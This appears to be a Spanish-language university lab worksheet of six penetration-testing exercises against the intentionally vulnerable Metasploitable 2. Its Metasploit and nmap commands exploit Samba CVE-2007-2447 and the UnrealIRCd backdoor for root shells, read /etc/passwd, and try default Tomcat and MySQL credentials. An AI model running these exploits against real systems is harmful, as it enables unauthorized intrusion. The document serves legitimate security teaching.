



Ejercicios de Seguridad con Kali Linux y Metasploitable

Laboratorio práctico de escaneo, análisis de vulnerabilidades y explotación controlada

Estos ejercicios están diseñados para que los estudiantes practiquen técnicas de ciberseguridad en un entorno seguro y controlado. Cada actividad incluye objetivos claros, comandos específicos y entregables documentados.



Kali Linux (Atacante)



Metasploitable 2 (Objetivo)



Red aislada / Laboratorio



Framework Metasploit



Ejercicios Conservados

Ejercicio 1: Escaneo y Análisis del Servicio FTP (vsftpd)

Reconocimiento

Objetivo: Identificar el servicio FTP, detectar su versión y evaluar configuraciones inseguras como acceso anónimo.

```
# Escaneo de versión y scripts FTP nmap -sV -p 21
<IP_METASPLOITABLE> nmap --script ftp-anon,ftp-bounce -p 21
<IP_METASPLOITABLE> # Conexión anónima (si está habilitada) ftp
<IP_METASPLOITABLE> # Usuario: anonymous | Contraseña: (vacía o email)
```

 **Entregable:** Reporte que indique si existe acceso anónimo, permisos de escritura y archivos sensibles expuestos.

Ejercicio 2: Explotación de Samba (CVE-2007-2447)

Explotación

Objetivo: Explotar la vulnerabilidad de inyección de comandos en Samba 3.0.20 para obtener shell como root.

```
# Verificación de versión nmap -p 139,445 --script smb-os-  
discovery <IP_METASPLOITABLE> # En Metasploit: msfconsole use  
exploit/multi/samba/usermap_script set RHOSTS <IP_METASPLOITABLE>  
exploit
```

 **Entregable:** Shell como root + archivo de evidencia (touch /root/evidencia_samba.txt) + explicación técnica del vector de ataque (inyección vía parámetro de usuario).

Ejercicio 3: Análisis de Servicio Web (Apache + Tomcat)

Auditoría Web

Objetivo: Evaluar superficies de ataque web en puertos 80 y 8180.

```
# Escaneo de servicios web nmap -sV -p 80,8180 <IP_METASPLOITABLE>  
nikto -h http://<IP_METASPLOITABLE> nikto -h  
http://<IP_METASPLOITABLE>:8180 # Prueba de credenciales por  
defecto en Tomcat # Usuario: tomcat | Contraseña: s3cret
```

 **Entregable:** Lista de vulnerabilidades encontradas, directorios listables, paneles expuestos y recomendaciones de hardening.

Ejercicio 4: Explotación de MySQL con Credenciales Débiles

Acceso a BD

Objetivo: Acceder a MySQL y demostrar impacto de autenticación insegura.

```
# Verificación del servicio nmap -sV -p 3306 <IP_METASPLOITABLE> #  
Conexión directa mysql -h <IP_METASPLOITABLE> -u root -p # Probar:  
(sin contraseña) o root/root # En Metasploit (alternativa): use  
auxiliary/admin/mysql/mysql_sql set RHOSTS <IP_METASPLOITABLE> set  
USERNAME root set PASSWORD "" exploit
```

 **Entregable:** Captura de consulta `SELECT user, host FROM mysql.user;` + análisis de riesgos de exposición de datos.

Ejercicio 5: Enumeración de Usuarios vía SMTP (Postfix)

Enumeración

Objetivo: Demostrar riesgos de enumeración de usuarios en servicios de correo.

```
# Escaneo con scripts de Nmap nmap -p 25 --script smtp-enum-users  
<IP_METASPLOITABLE> # Enumeración con herramienta dedicada smtp-  
user-enum -M VRFY -U  
/usr/share/wordlists/metasploit/unix_users.txt -t  
<IP_METASPLOITABLE>
```

 **Entregable:** Lista de usuarios válidos encontrados + discusión sobre

mitigaciones (desactivar VRFY/EXPN, rate limiting).

Ejercicio 6: Explotación del Backdoor en UnrealIRCd 3.2.8.1

Nuevo

Reemplaza vsftpd backdoor

Objetivo: Explotar una vulnerabilidad de backdoor en servicio IRC (CVE-2010-2075) para obtener shell remota.

```
# Verificación del servicio vulnerable nmap -sV -p 6667
<IP_METASPLOITABLE> # Debe reportar: UnrealIRCd 3.2.8.1 # En
Metasploit: msfconsole search unreal use
exploit/unix/irc/unreal_ircd_3281_backdoor set RHOSTS
<IP_METASPLOITABLE> exploit # Validación en la shell obtenida:
whoami touch /tmp/evidencia_unrealircd_$(date +%F) cat /etc/passwd
| head -5
```

Entregable:

- Captura de la shell obtenida
- Archivo de evidencia con timestamp
- Explicación técnica: ¿Cómo funciona el backdoor? (comando AB inyectado en handshake IRC)
- Referencia al **CVE-2010-2075** y lecciones de seguridad



Resumen de Servicios Trabajados

Ejercicio	Servicio	Puerto	Tipo de Actividad	Herramienta Principal
1	FTP (vsftpd)	21	Reconocimiento	Nmap + FTP client
2	Samba	139/445	Explotación	Metasploit
3	Apache/Tomcat	80/8180	Auditoría Web	Nikto + Navegador
4	MySQL	3306	Acceso a BD	MySQL client + Metasploit
5	SMTP (Postfix)	25	Enumeración	Nmap + smtp-user-enum
6	UnrealIRCd	6667	Explotación	Metasploit

Advertencia de Seguridad

Estos ejercicios solo deben realizarse en laboratorios autorizados y entornos aislados. La explotación de sistemas sin consentimiento explícito es ilegal y viola políticas éticas de ciberseguridad. Metasploitable 2 es un sistema intencionalmente vulnerable diseñado exclusivamente para fines educativos.